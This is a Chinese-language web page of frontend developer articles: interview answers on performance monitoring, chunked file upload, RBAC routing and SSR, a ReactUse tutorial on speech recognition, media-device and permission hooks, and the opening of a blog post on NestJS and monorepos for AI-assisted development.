// 手动埋点
document.getElementById('submit-btn').addEventListener('click', () => {
  tracker.trackEvent('form_submit', { form_id: 'login-form' });
});

97. 性能监控

关键指标

指标 说明 目标
FCP 首次内容绘制 < 1.8s
LCP 最大内容绘制 < 2.5s
FID 首次输入延迟 < 100ms
CLS 累积布局偏移 < 0.1
TTI 可交互时间 < 3.8s

实时监控

// 实时监控 FCP/LCP
const observer = new PerformanceObserver((list) => {
  for (const entry of list.getEntries()) {
    console.log(`${entry.name}: ${entry.startTime}ms`);
    reportToServer(entry.name, entry.startTime);
  }
});

observer.observe({ type: 'paint', buffered: true });
observer.observe({ type: 'largest-contentful-paint', buffered: true });

// 监控长任务
const longTaskObserver = new PerformanceObserver((list) => {
  for (const entry of list.getEntries()) {
    console.log('长任务:', entry.duration, 'ms');
  }
});
longTaskObserver.observe({ type: 'longtask', buffered: true });

十、工程实践

98. 大文件上传如何实现?

问题拆解

维度 问题 方案
传输 大文件传输慢 分片上传
可靠性 网络中断导致失败 断点续传
效率 重复上传相同文件 秒传(哈希去重)
进度 用户不知道进度 进度条反馈
并发 提高上传速度 并发上传

实现步骤

1. 文件切片 → 将大文件切割为固定大小的小块
2. 计算哈希 → 计算整个文件的哈希(用于秒传和去重)
3. 检查秒传 → 服务端判断是否已有相同文件
4. 分片上传 → 并发上传各个分片
5. 合并分片 → 所有分片上传完成后通知服务端合并
6. 断点续传 → 记录已上传分片,失败后只传未上传部分

代码实现

class FileUploader {
  constructor(options) {
    this.chunkSize = options.chunkSize || 2 * 1024 * 1024; // 2MB
    this.concurrent = options.concurrent || 3;
    this.onProgress = options.onProgress;
  }
  
  // 计算文件哈希
  async calculateHash(file) {
    return new Promise((resolve) => {
      const spark = new SparkMD5.ArrayBuffer();
      const reader = new FileReader();
      const chunks = this.sliceFile(file);
      let index = 0;
      
      const loadNext = () => {
        if (index >= chunks.length) {
          resolve(spark.end());
          return;
        }
        reader.readAsArrayBuffer(chunks[index++]);
      };
      
      reader.onload = (e) => {
        spark.append(e.target.result);
        loadNext();
      };
      
      loadNext();
    });
  }
  
  // 切片
  sliceFile(file) {
    const chunks = [];
    let start = 0;
    while (start < file.size) {
      chunks.push(file.slice(start, start + this.chunkSize));
      start += this.chunkSize;
    }
    return chunks;
  }
  
  // 上传单个分片
  async uploadChunk(chunk, index, hash, fileName) {
    const formData = new FormData();
    formData.append('chunk', chunk);
    formData.append('index', index);
    formData.append('hash', hash);
    formData.append('fileName', fileName);
    
    return fetch('/api/upload/chunk', {
      method: 'POST',
      body: formData
    });
  }
  
  // 并发控制
  async concurrentUpload(tasks, limit) {
    const results = [];
    let index = 0;
    
    const worker = async () => {
      while (index < tasks.length) {
        const taskIndex = index++;
        results[taskIndex] = await tasks[taskIndex]();
      }
    };
    
    const workers = Array.from({ length: Math.min(limit, tasks.length) }, worker);
    await Promise.all(workers);
    return results;
  }
  
  // 主流程
  async upload(file) {
    const hash = await this.calculateHash(file);
    
    // 1. 检查秒传
    const checkRes = await fetch('/api/upload/check', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ hash, fileName: file.name })
    });
    const checkData = await checkRes.json();
    
    if (checkData.exist) {
      this.onProgress?.(100);
      return { status: 'exists', url: checkData.url };
    }
    
    // 2. 获取已上传的分片(断点续传)
    const uploadedChunks = checkData.uploaded || [];
    
    // 3. 切片
    const chunks = this.sliceFile(file);
    
    // 4. 过滤未上传的分片
    const tasks = chunks
      .map((chunk, index) => ({ chunk, index }))
      .filter(({ index }) => !uploadedChunks.includes(index))
      .map(({ chunk, index }) => () => 
        this.uploadChunk(chunk, index, hash, file.name)
      );
    
    // 5. 并发上传
    let completed = uploadedChunks.length;
    const total = chunks.length;
    
    const wrappedTasks = tasks.map(task => async () => {
      const result = await task();
      completed++;
      this.onProgress?.(Math.round((completed / total) * 100));
      return result;
    });
    
    await this.concurrentUpload(wrappedTasks, this.concurrent);
    
    // 6. 合并分片
    return fetch('/api/upload/merge', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ hash, fileName: file.name, chunkCount: total })
    });
  }
}

// 使用
const uploader = new FileUploader({
  chunkSize: 2 * 1024 * 1024,
  concurrent: 3,
  onProgress: (percent) => {
    console.log(`上传进度: ${percent}%`);
    document.getElementById('progress').style.width = `${percent}%`;
  }
});

document.getElementById('file-input').addEventListener('change', async (e) => {
  const file = e.target.files[0];
  const result = await uploader.upload(file);
  console.log('上传结果:', result);
});

99. 如何实现权限控制系统?

权限模型

模型 说明 适用场景
RBAC 基于角色的权限控制 通用场景
ABAC 基于属性的权限控制 细粒度控制
ACL 访问控制列表 简单权限

RBAC 实现

用户 (User) ── N:N ──> 角色 (Role) ── N:N ──> 权限 (Permission)

前端权限控制方案

维度 方案
菜单权限 动态路由、菜单过滤
按钮权限 自定义指令、组件
接口权限 请求拦截、后端校验
数据权限 数据过滤、行级权限

动态路由权限控制

// 路由配置
const asyncRoutes = [
  {
    path: '/admin',
    component: () => import('@/layouts/AdminLayout.vue'),
    meta: { roles: ['admin'] },
    children: [
      {
        path: 'users',
        component: () => import('@/pages/admin/Users.vue'),
        meta: { roles: ['admin'] }
      },
      {
        path: 'roles',
        component: () => import('@/pages/admin/Roles.vue'),
        meta: { roles: ['admin', 'manager'] }
      }
    ]
  },
  {
    path: '/dashboard',
    component: () => import('@/pages/Dashboard.vue'),
    meta: { roles: ['admin', 'user', 'manager'] }
  }
];

// 权限过滤函数
function filterRoutesByRoles(routes, userRoles) {
  return routes.filter(route => {
    if (route.meta?.roles) {
      const hasPermission = route.meta.roles.some(role => 
        userRoles.includes(role)
      );
      if (!hasPermission) return false;
    }
    
    if (route.children) {
      route.children = filterRoutesByRoles(route.children, userRoles);
    }
    
    return true;
  });
}

// 路由守卫
router.beforeEach(async (to, from, next) => {
  const userStore = useUserStore();
  
  if (!userStore.token) {
    if (to.path === '/login') {
      next();
    } else {
      next(`/login?redirect=${to.path}`);
    }
    return;
  }
  
  // 获取用户信息和权限
  if (!userStore.roles.length) {
    await userStore.fetchUserInfo();
    
    // 动态添加路由
    const accessibleRoutes = filterRoutesByRoutes(
      asyncRoutes, 
      userStore.roles
    );
    
    accessibleRoutes.forEach(route => {
      router.addRoute(route);
    });
    
    // 重新导航
    next({ ...to, replace: true });
    return;
  }
  
  next();
});

按钮权限控制

<!-- 权限指令 -->
const permission = {
  mounted(el, binding) {
    const { value } = binding;
    const userPermissions = useUserStore().permissions;
    
    if (value && !userPermissions.includes(value)) {
      el.parentNode?.removeChild(el);
    }
  }
};

app.directive('permission', permission);

<!-- 使用 -->
<button v-permission="'user:delete'">删除用户</button>
<button v-permission="'user:edit'">编辑用户</button>

权限组件

<template>
  <slot v-if="hasPermission"></slot>
</template>

<script>
export default {
  props: {
    permission: { type: String, required: true }
  },
  computed: {
    hasPermission() {
      return useUserStore().permissions.includes(this.permission);
    }
  }
}
</script>

<!-- 使用 -->
<Permission permission="user:delete">
  <button>删除用户</button>
</Permission>

100. 如何实现服务端渲染 (SSR)?

定义

服务端渲染(Server-Side Rendering)是在服务器端将组件渲染为 HTML 字符串,直接发送给浏览器。

优势

  • SEO 友好:搜索引擎可以抓取完整内容
  • 首屏加载快:无需等待 JS 下载执行
  • 用户体验好:减少白屏时间

Vue SSR 实现

// server.js
import { createSSRApp } from 'vue';
import { renderToString } from '@vue/server-renderer';
import express from 'express';
import App from './App.vue';

const app = express();

app.get('*', async (req, res) => {
  const vueApp = createSSRApp(App);
  
  // 传递初始数据
  vueApp.provide('initialData', { user: '张三' });
  
  const html = await renderToString(vueApp);
  
  res.send(`
    <!DOCTYPE html>
    <html>
      <head><title>SSR App</title></head>
      <body>
        <div id="app">${html}</div>
        <script>
          window.__INITIAL_DATA__ = ${JSON.stringify({ user: '张三' })};
        </script>
        <script src="/client.js"></script>
      </body>
    </html>
  `);
});

app.listen(3000);

React SSR 实现

// server.js
import express from 'express';
import React from 'react';
import { renderToString } from 'react-dom/server';
import App from './App';

const app = express();

app.get('*', (req, res) => {
  const html = renderToString(
    <React.StrictMode>
      <App />
    </React.StrictMode>
  );
  
  res.send(`
    <!DOCTYPE html>
    <html>
      <head><title>SSR App</title></head>
      <body>
        <div id="root">${html}</div>
        <script src="/client.js"></script>
      </body>
    </html>
  `);
});

app.listen(3000);

Nuxt.js / Next.js

// Nuxt.js (Vue)
// nuxt.config.js
export default {
  ssr: true,
  target: 'server'
}

// Next.js (React)
// next.config.js
module.exports = {
  // SSR 默认开启
}

// 页面组件
export async function getServerSideProps(context) {
  const data = await fetchData();
  return { props: { data } };
}

SSR 架构

┌──────────┐     ┌──────────┐     ┌──────────┐
│  浏览器   │────>│  服务端   │────>│  数据库   │
│          │<────│          │<────│          │
└──────────┘ HTML└──────────┘     └──────────┘
     │
     │ hydrate
     ▼
┌──────────┐
│  客户端   │
│  (SPA)   │
└──────────┘

React 中的语音与摄像头输入:语音识别、媒体设备与权限

语音和摄像头是把一个静态 Web 应用变得鲜活的两种感官。一个能对它说话的搜索栏。一个实时把你说的话转成文字的笔记应用。一个让你选择用哪个摄像头的会议工具。一个按住按键就能说话的对讲机。这些早已不再罕见——浏览器有这些 API 已经好多年了——但每一个都被一连串权限弹窗、厂商前缀和生命周期的怪癖挡在前面,让人很难干净地把它们集成进 React 组件。

本文将带你走过四种用于语音和摄像头输入的浏览器能力:带中间结果的实时语音识别、枚举用户的摄像头和麦克风、在权限被撤销时仍能存活的权限查询,以及把 Shift 键当作按住说话修饰符使用。和往常一样,我们会先用手动实现来开局,让你看清底层的管道,然后再换成 ReactUse 里专门的 Hook。最后,我们会把四个 Hook 组合成一个完整的语音搜索组件,包含设备选择器、权限闸门,以及按住说话的录音交互。

1. 实时语音识别

手动实现

Web Speech API 是一个比较老的浏览器 API,但从未真正被标准化——Chrome 把它实现成 webkitSpeechRecognition,而无前缀的 SpeechRecognition 在大多数引擎里仍然缺失。最小可用的 React 包装看起来像这样:

function ManualSpeechRecognition() {
  const [transcript, setTranscript] = useState("");
  const [listening, setListening] = useState(false);
  const recognitionRef = useRef<any>(null);

  useEffect(() => {
    const SR =
      (window as any).SpeechRecognition ||
      (window as any).webkitSpeechRecognition;
    if (!SR) return;
    const recognition = new SR();
    recognition.continuous = true;
    recognition.interimResults = true;
    recognition.lang = "zh-CN";
    recognition.onresult = (event: any) => {
      const result = event.results[event.resultIndex];
      setTranscript(result[0].transcript);
    };
    recognition.onend = () => setListening(false);
    recognitionRef.current = recognition;
    return () => recognition.abort();
  }, []);

  const start = () => {
    recognitionRef.current?.start();
    setListening(true);
  };
  const stop = () => {
    recognitionRef.current?.stop();
    setListening(false);
  };

  return (
    <div>
      <button onClick={listening ? stop : start}>
        {listening ? "停止" : "开始"}识别
      </button>
      <p>{transcript}</p>
    </div>
  );
}

这个能跑,但忽略了那些粗糙的边角。它没有区分 isFinal,所以 UI 无法判断用户什么时候停顿了("中间结果"和"最终结果"的区别正是让语音 UI 显得有响应的关键)。它没有错误处理——如果用户拒绝了麦克风权限或网络断了,转录就会默默地永远不更新。它没有语言协商。而且 SR 的类型很糟糕,因为 TypeScript 没有为 webkitSpeechRecognition 提供类型。

ReactUse 的方式:useSpeechRecognition

useSpeechRecognition 返回一个干净的对象,提供恰当的原语:

import { useSpeechRecognition } from "@reactuses/core";

function VoiceNote() {
  const { isSupported, isListening, isFinal, result, error, start, stop } =
    useSpeechRecognition({
      lang: "zh-CN",
      interimResults: true,
      continuous: true,
    });

  if (!isSupported) {
    return <p>当前浏览器不支持语音识别。</p>;
  }

  return (
    <div>
      <button onClick={isListening ? stop : start}>
        {isListening ? "停止" : "开始"}口述
      </button>
      <p
        style={{
          fontStyle: isFinal ? "normal" : "italic",
          color: isFinal ? "#0f172a" : "#64748b",
        }}
      >
        {result || "说点什么..."}
      </p>
      {error && <p style={{ color: "#ef4444" }}>错误:{error.error}</p>}
    </div>
  );
}

你不用写就能拿到的好处:

  1. isFinal —— Hook 会跟踪当前 result 是语音引擎的临时猜测(在示例里是斜体)还是已经锁定的转录。这是相比朴素版本最大的 UX 提升。
  2. error 对象 —— 当权限被拒、网络断开或引擎失败时,你能拿到一个带类型的错误对象,可以展示给用户而不是默默地卡住。
  3. 热配置start({ lang: "fr-FR" }) 让你能在会话中途切换语言,无需重建识别器。
  4. 卸载时清理。Hook 会自动调用 abort(),所以离开页面永远不会让麦克风一直开着。

最有威力的模式是把识别结果绑到一个搜索输入框上,让用户在说话时实时输入查询。因为 Hook 会在每个中间结果到来时重渲,你可以直接用语音输入来驱动一个实时搜索查询,让用户在说话时就能看到结果。

2. 枚举摄像头和麦克风

手动实现

列出用户的音频和视频设备需要 navigator.mediaDevices.enumerateDevices()。有个陷阱:在用户对某个设备授予权限之前,返回的标签是空的——你只能拿到一组 deviceId,但拿不到像 "FaceTime HD Camera" 这样的 label。要拿到标签,你必须先调用 getUserMedia 触发权限弹窗,然后再枚举一次。

function ManualDeviceList() {
  const [devices, setDevices] = useState<MediaDeviceInfo[]>([]);

  useEffect(() => {
    let mounted = true;
    const refresh = async () => {
      try {
        // 触发权限以填充标签
        const stream = await navigator.mediaDevices.getUserMedia({
          audio: true,
          video: true,
        });
        stream.getTracks().forEach((t) => t.stop());
        const list = await navigator.mediaDevices.enumerateDevices();
        if (mounted) setDevices(list);
      } catch (e) {
        console.error(e);
      }
    };
    refresh();
    navigator.mediaDevices.addEventListener("devicechange", refresh);
    return () => {
      mounted = false;
      navigator.mediaDevices.removeEventListener("devicechange", refresh);
    };
  }, []);

  return (
    <ul>
      {devices.map((d) => (
        <li key={d.deviceId}>
          {d.kind}: {d.label || "(标签隐藏)"}
        </li>
      ))}
    </ul>
  );
}

形状是对的,但你每次都要写权限触发的舞蹈、临时流的清理,以及 device-change 监听器。

ReactUse 的方式:useMediaDevices

useMediaDevices 把整套流程打包了起来:

import { useMediaDevices } from "@reactuses/core";

function CameraPicker({
  selected,
  onSelect,
}: {
  selected: string;
  onSelect: (id: string) => void;
}) {
  const [{ devices }, ensurePermissions] = useMediaDevices({
    requestPermissions: true,
    constraints: { video: true, audio: false },
  });

  const cameras = devices.filter((d) => d.kind === "videoinput");

  return (
    <div>
      <button onClick={() => ensurePermissions()}>刷新设备</button>
      <select
        value={selected}
        onChange={(e) => onSelect(e.target.value)}
        style={{ marginLeft: 8 }}
      >
        {cameras.map((cam) => (
          <option key={cam.deviceId} value={cam.deviceId}>
            {cam.label || `摄像头 ${cam.deviceId.slice(0, 6)}`}
          </option>
        ))}
      </select>
    </div>
  );
}

Hook 处理了三件你本来要自己写的事:

  • 权限协商。传 requestPermissions: true,Hook 会在挂载时根据你指定的 constraints 触发 getUserMedia,然后立即停止临时音视轨道,让摄像头指示灯熄灭。
  • 实时设备列表。Hook 监听 devicechange 并自动重新枚举——如果用户插入新麦克风或拔掉耳机,列表会自动更新,不需要额外代码。
  • 手动刷新。返回的 ensurePermissions 让你随时能再触发一次提示,对于"用户拒绝了一次后想再试一次"的按钮非常有用。

constraints 参数会直接转发给 getUserMedia,所以你只需要视频时(跳过那种"想要麦克风权限吗"的别扭弹窗)就只请求视频。

3. 正确地查询权限

手动实现

要在不触发弹窗的情况下检查用户是否已经授予(或拒绝)麦克风或摄像头权限,需要 Permissions API。它支持得很好但很啰嗦:

function ManualMicPermission() {
  const [state, setState] = useState<PermissionState | "unknown">("unknown");

  useEffect(() => {
    let mounted = true;
    let status: PermissionStatus | null = null;
    (async () => {
      try {
        status = await navigator.permissions.query({
          name: "microphone" as PermissionName,
        });
        if (mounted) setState(status.state);
        status.onchange = () => mounted && status && setState(status.state);
      } catch {
        // 此名称的 Permissions API 不可用
      }
    })();
    return () => {
      mounted = false;
      if (status) status.onchange = null;
    };
  }, []);

  return <p>麦克风权限:{state}</p>;
}

三件值得注意的事。第一,API 通过 onchange 提供回调,对 React 不友好。第二,你必须同时特性检测 Permissions API 本身和具体的 name(某些浏览器不支持 "microphone")。第三,change 监听器必须显式清理,而不能通过 effect 返回值。

ReactUse 的方式:usePermission

usePermission 把整段舞蹈减到一次调用:

import { usePermission } from "@reactuses/core";

function MicStatusBadge() {
  const state = usePermission("microphone");

  const color =
    state === "granted"
      ? "#10b981"
      : state === "denied"
      ? "#ef4444"
      : "#f59e0b";

  return (
    <span style={{ color, fontWeight: 600 }}>
      麦克风:{state || "未知"}
    </span>
  );
}

state 是一个 React 原生字符串,每当底层权限状态变化时就会更新——包括外部变化,比如用户进入浏览器设置撤销了权限,你的组件 state 就会翻转到 "denied",不需要你做任何操作。

你可以传一个像 "microphone""camera" 这样的字符串,也可以传一个完整的 PermissionDescriptor 对象,用于像 "push" 这样需要额外字段的权限。形状和 navigator.permissions.query 完全一致,只是变成了一个 Hook。

4. 用 useKeyModifier 实现按住说话

手动实现

按住说话按钮比看起来要难。你想检测用户是否在按住某个键(比如 Space 或 Shift),按住时开始录音,松开时立即停止。你还得处理这种情况:用户按住按键、把焦点切到另一个窗口、在你的页面隐藏时松开按键、然后再回来——否则录音器会一直卡在录制状态。

function ManualPushToTalk() {
  const [pressed, setPressed] = useState(false);

  useEffect(() => {
    const onDown = (e: KeyboardEvent) => {
      if (e.code === "Space") setPressed(true);
    };
    const onUp = (e: KeyboardEvent) => {
      if (e.code === "Space") setPressed(false);
    };
    const onBlur = () => setPressed(false);
    window.addEventListener("keydown", onDown);
    window.addEventListener("keyup", onUp);
    window.addEventListener("blur", onBlur);
    return () => {
      window.removeEventListener("keydown", onDown);
      window.removeEventListener("keyup", onUp);
      window.removeEventListener("blur", onBlur);
    };
  }, []);

  return <p>{pressed ? "正在录制..." : "按住空格说话"}</p>;
}

这个差不多能跑。bug 是:如果 Space 键在按住时自动重复(大多数操作系统都会这样),你会先收到一个 keydown,然后又一个 keydown,最后才是 keyup。这个你处理了。但如果用户按的是 Shift 并把它当成与其他键的组合修饰符使用,你的手动跟踪就不知道了。

ReactUse 的方式:useKeyModifier

useKeyModifier 把 OS 级别的修饰键状态(和你从 event.getModifierState 拿到的值一样)暴露为 React state:

import { useKeyModifier } from "@reactuses/core";

function ShiftToRecord({ onTalkStart, onTalkEnd }: {
  onTalkStart: () => void;
  onTalkEnd: () => void;
}) {
  const shift = useKeyModifier("Shift");

  useEffect(() => {
    if (shift) onTalkStart();
    else onTalkEnd();
  }, [shift, onTalkStart, onTalkEnd]);

  return (
    <div
      style={{
        padding: 16,
        background: shift ? "#fef3c7" : "#f1f5f9",
        borderRadius: 8,
        textAlign: "center",
      }}
    >
      {shift ? "正在录制(松开 Shift 停止)" : "按住 Shift 说话"}
    </div>
  );
}

相比 keydown/keyup 版本的好处:

  • OS 感知。Hook 读取 getModifierState,从 OS 查询实际的修饰键状态。它能正确应对自动重复、焦点丢失和奇怪的组合键。
  • 支持任何修饰键。传 "Control""Alt""Meta""CapsLock""NumLock"——浏览器追踪的任何修饰键都行。
  • 初始值。如果你想让 React state 初始为 true,就配置 initial: true(不常见,但调试时有用)。

全部组合:带设备选择器的语音搜索

我们把四个 Hook 组合成一个语音驱动的搜索组件。用户可以选择用哪个麦克风、看到一个权限徽章、按住 Shift 开始口述、并在说话时实时看到转录更新。当他们松开 Shift 时,最终转录就成了搜索查询。

import { useEffect, useState } from "react";
import {
  useSpeechRecognition,
  useMediaDevices,
  usePermission,
  useKeyModifier,
} from "@reactuses/core";

function VoiceSearch() {
  const [selectedMic, setSelectedMic] = useState<string>("");
  const [query, setQuery] = useState("");

  const micPermission = usePermission("microphone");
  const [{ devices }, requestDevices] = useMediaDevices({
    requestPermissions: false,
    constraints: { audio: true, video: false },
  });

  const microphones = devices.filter((d) => d.kind === "audioinput");

  const {
    isSupported,
    isListening,
    isFinal,
    result,
    error,
    start,
    stop,
  } = useSpeechRecognition({
    lang: "zh-CN",
    interimResults: true,
    continuous: false,
  });

  const shiftDown = useKeyModifier("Shift");

  // 按住说话:按下 Shift 时开始,松开时停止
  useEffect(() => {
    if (!isSupported || micPermission !== "granted") return;
    if (shiftDown) {
      start();
    } else if (isListening) {
      stop();
    }
  }, [shiftDown, isSupported, micPermission, start, stop, isListening]);

  // 当识别最终化时,把结果提交到查询
  useEffect(() => {
    if (isFinal && result) {
      setQuery(result);
    }
  }, [isFinal, result]);

  const permissionColor =
    micPermission === "granted"
      ? "#10b981"
      : micPermission === "denied"
      ? "#ef4444"
      : "#f59e0b";

  return (
    <div
      style={{
        maxWidth: 640,
        padding: 24,
        background: "#ffffff",
        borderRadius: 16,
        boxShadow: "0 4px 24px rgba(15, 23, 42, 0.06)",
        fontFamily: "system-ui, sans-serif",
      }}
    >
      <header
        style={{
          display: "flex",
          justifyContent: "space-between",
          alignItems: "center",
          marginBottom: 16,
        }}
      >
        <h2 style={{ margin: 0, fontSize: 18 }}>语音搜索</h2>
        <span style={{ color: permissionColor, fontSize: 13, fontWeight: 600 }}>
          ● 麦克风:{micPermission || "未知"}
        </span>
      </header>

      {!isSupported && (
        <p style={{ color: "#64748b" }}>
          当前浏览器不支持语音识别。请试试 Chrome。
        </p>
      )}

      {isSupported && micPermission !== "granted" && (
        <button
          onClick={requestDevices}
          style={{
            width: "100%",
            padding: 12,
            background: "#3b82f6",
            color: "white",
            border: "none",
            borderRadius: 8,
            cursor: "pointer",
          }}
        >
          授权麦克风访问
        </button>
      )}

      {isSupported && micPermission === "granted" && (
        <>
          <div style={{ display: "flex", gap: 12, marginBottom: 12 }}>
            <select
              value={selectedMic}
              onChange={(e) => setSelectedMic(e.target.value)}
              style={{
                flex: 1,
                padding: 8,
                borderRadius: 6,
                border: "1px solid #cbd5e1",
              }}
            >
              <option value="">默认麦克风</option>
              {microphones.map((mic) => (
                <option key={mic.deviceId} value={mic.deviceId}>
                  {mic.label || `麦克风 ${mic.deviceId.slice(0, 6)}`}
                </option>
              ))}
            </select>
          </div>

          <div
            style={{
              padding: 16,
              background: shiftDown ? "#dcfce7" : "#f8fafc",
              borderRadius: 8,
              border: shiftDown
                ? "2px solid #10b981"
                : "2px dashed #cbd5e1",
              textAlign: "center",
              transition: "all 120ms ease",
            }}
          >
            <p style={{ margin: 0, fontWeight: 600, fontSize: 13 }}>
              {shiftDown ? "正在监听..." : "按住 Shift 进行口述"}
            </p>
            {result && (
              <p
                style={{
                  margin: "8px 0 0",
                  fontStyle: isFinal ? "normal" : "italic",
                  color: isFinal ? "#0f172a" : "#64748b",
                }}
              >
                {result}
              </p>
            )}
          </div>

          {error && (
            <p style={{ color: "#ef4444", fontSize: 13, marginTop: 8 }}>
              识别错误:{error.error}
            </p>
          )}

          <input
            value={query}
            onChange={(e) => setQuery(e.target.value)}
            placeholder="搜索查询..."
            style={{
              width: "100%",
              marginTop: 12,
              padding: 10,
              borderRadius: 6,
              border: "1px solid #cbd5e1",
              fontSize: 16,
            }}
          />
        </>
      )}
    </div>
  );
}

四个 Hook,四个相互正交的关注点:

  • usePermission 驱动 header 中的徽章,并把 UI 的其余部分挡在用户实际决策之后。因为它是响应式的,如果用户在浏览器设置里撤销了麦克风权限,徽章会自动更新,输入框会自动消失。
  • useMediaDevices 填充麦克风选择器,除非用户点击"授权",否则不会强制弹出权限对话框。
  • useSpeechRecognition 完成实际的转录,区分中间结果和最终结果,并以带类型的方式暴露引擎错误。
  • useKeyModifier 把 Shift 键变成按住说话的触发器,能正确应对焦点丢失、OS 自动重复和奇怪的组合键。

整个组件大概 130 行,绝大多数都是标签。浏览器 API 那些历来最难做对的部分,每个关注点只占一行 import。

关于测试的一点说明

语音和摄像头功能出了名地难测试,因为它们依赖的浏览器 API 需要真实的人手势和物理硬件。这些 Hook 都暴露了 isSupported 标志,所以你的测试环境(jsdom、Vitest、用 mock navigator 的 Storybook)可以在底层 API 缺失时干净地分支并渲染 fallback 状态。如果你在做严肃的语音 UI,请专门划出一小层在 headless Chrome 里用假媒体流跑的集成测试——那才是抓真正 bug 的唯一方式。

安装

npm i @reactuses/core

相关 Hook

  • useSpeechRecognition —— 实时语音转文字,跟踪中间和最终结果
  • useMediaDevices —— 枚举摄像头和麦克风,处理权限
  • usePermission —— 响应式地查询任意权限的 Permissions API
  • useKeyModifier —— 跟踪 OS 级别的修饰键状态(Shift、Control 等)
  • useSupported —— 响应式地检查浏览器 API 是否可用
  • useEventListener —— 声明式地附加事件监听器,可用于自定义语音流程
  • useObjectUrl —— 为录制的音频 blob 创建临时 URL 以预览

ReactUse 提供了 100+ 个 React Hook。全部探索 →

2026年,为什么NestJS + Monorepo越来越流行了 ❓❓❓

大家好 👋,我是 Moment,目前正在使用 Next.js、NestJS、LangChain 开发 DocFlow。这是一个面向 AI 场景的协同文档平台,集成了基于 Tiptap 的富文本编辑、NestJS 后端服务、实时协作与智能化工作流等核心模块。

在这个项目的持续打磨过程中,我积累了不少实战经验,不只是 Tiptap 的深度定制、编辑器性能优化和协同方案设计,也包括前端工程化建设、React 源码理解以及复杂项目架构实践。

如果你对 AI 全栈开发、文档编辑器、前端工程化或者 React 源码相关内容感兴趣,欢迎添加我的微信 yunmz777 一起交流。觉得项目还不错的话,也欢迎给 DocFlow 点个 star ⭐

image.png

这两年和别人聊下来,有个挺朴素的观察:工具都差不多,Cursor、Claude Code、Copilot 换来换去,有人照样顺滑往前推,有人却被 AI 拖进更深的坑里。倒不一定是模型突然变差了,更像是仓库本身经不起这么快地改——你一提速,漏的地方也跟得上提速。

我这边遇到过无数次那种很无聊的返工。后端字段改了,前端忘了跟。或者看起来类型都对,实际请求体还是对不上。编译绿灯,线上才发现分支走错。一出问题就先怀疑 prompt,改了两轮发现不对劲——常常是仓库里没有一套固定的摆放方式,模型猜这一步猜对了,下一步就和别处打架。

所以到了 2026 年,我反而更多把 NestJS 和 Monorepo 当作默认选项,不是因为它们听起来高级,单纯是省事:目录大致怎么长、模块怎么切、前后端能不能共用同一份类型说明,至少有个大家都认的底子。AI 跟着改文件的时候,不至于今天一套写法、明天换一套,你自己回看也少猜谜。

以前挑框架会问写着爽不爽。现在会先想过两个月再来需求,我还能不能一眼看出该动哪几块。NestJS + Monorepo 谈不上惊艳,只是让我觉得没那么容易失控。

写出来的快,后面收拾慢

现在问 AI 顺手写一段,在圈里早不新鲜了。身边人多少都会用用 CursorCopilot 一类,写 TS、改多文件的仓库,编辑器也更好跟一点。

省时间的是样板、CRUD、第一遍类型、顺带出来的测试草图。多文件改、读完再改、跑完再交 diff,大家也都摸熟了。网上还有一大把规则文件和模版,抄一抄就能开张。

麻烦的是它仍然吃你仓库长什么样。上下文一碎,就只能对着当前文件蒙,旧接口的臭毛病还能被带回来。约定没写进结构里,同一天里 ValidationPipe、手写 if、跳过注入直接 new 能并存。跨包改一半留一半、临上线才逐行对 diff,都常见。有人习惯 AI 打一版自己再改,省下的时间往往又赔在契约和安全上。

把这些和日常开发叠在一起看,AI 写代码早就不算新闻。起接口、跑 CRUD、补两层类型、顺带生成点测试,交给模型去做,往往不慢,第一眼看上去也像那么回事。别扭的是后半程:很多时候它不是写出 0 分,而是那种能跑、像样、却不对劲的 80 分——lint 不吵,预览也能点开,但分层含糊、命名各写各的、同一个概念在不同文件里换了三张脸。你要是真顺着往下叠需求,常常要到第二、第三次改动才猛然醒悟,省下来的时间没花在第一版上,全花在给前面的草率擦屁股上。

后面这几类我最熟:改一个字段,前后端各漏一处;鉴权相关的判断补丁似的散落在好几个文件里;新开的功能完全是另一套文件夹脾气;类型检查安安静静,DTO、落库和前端调用却已经各走各路。偶尔也会嘀咕,这算不算真省力。

我以前也会比谁敲得快、谁能更快翻出文档。现在更在乎仓库省不省返工,少折腾比好看重要。上下文窗口再大,翻起来顺不顺还是看你自己怎么摆文件夹。

好几个仓库并排的时候

很长一段时间里,我都觉得多 repo 很正常:前端一个仓,后端一个仓,再加共享类型包、组件库,听起来分工清清楚楚。

真到了天天开工、AI 也跟着一起改的时候,摩擦就出来了——业务明明是一套东西,代码却被切成几块互不接壤的地盘,没有哪个仓库能单独回答这一整块系统在干什么。人还能靠记忆和聊天记录勉强对齐,模型手里往往只有当前文件附近那点片段,它没有你那套我懂的脑内地图。

后果都很具体:字段名对不齐,import 指到老路径,接口说明还停留在上个版本,这边改了那边没人提醒,前后端各讲各的故事。于是就经常出现那种撕裂:嘴上都说 AI 很强,手头却在骂它不靠谱;细看往往不是模型突然变笨,而是你根本没给它看过全貌,它只能瞎蒙。

Monorepo 对我来说最实在的一条,就是相关代码至少在一个 workspace 里,搜得到、跳转不瞎跳,改一处牵动谁早一点露馅。

单 workspace 那点实在的好处

大家聊 Monorepo,常常一上来就是依赖 hoist、构建缓存、CI 提速、版本对齐——这些都实打实地省钱省时间。若你用的是 Turborepo、Nx 这类任务编排,改 libs/types 再触达 apps/web 时,turbo run build --filter=... 一类命令往往只跑受影响的那几条边,CI 和本地反馈都轻一些;AI 一口气动多个包的时候,也不太容易因为全量 build 太慢把思路打断。但我日常感触更深的,反而是更土的几件事:全局搜索能跨过 apps 和 libs,跳转定义不会再跳到另一个克隆仓库;开一个合并请求可以同时改 apps/api、前端调用处和 libs/types,评审的人也不用先在脑子里拼接三四份改动。

产业报告里偶尔也能看到 Monorepo 与更高采纳率、更少来回改放在一块儿的讨论,口径各自不同,我不打算在这里背具体百分比。我自己觉得更实在的一点是,同一套索引里改契约,少了很多跨仓漏改。

一种常见的摆放方式大概是这样(命名随团队习惯变,道理差不多):

  • apps/web
  • apps/api
  • apps/worker
  • libs/types
  • libs/db
  • libs/auth
  • libs/ui
  • libs/common

我手里在跑的一个仓库用的也是同一套思路,只是 app 名叫 apps/backendapps/frontend,后端在 src 下拆 apischematypes 等,根上还有 Turborepo 缓存和一份给助手看的 AGENTS.md。如下图所示:

Monorepo 目录示意(含 NestJS 后端与 Next 前端)

树一展开,比在文字里凭空想象直观得多。

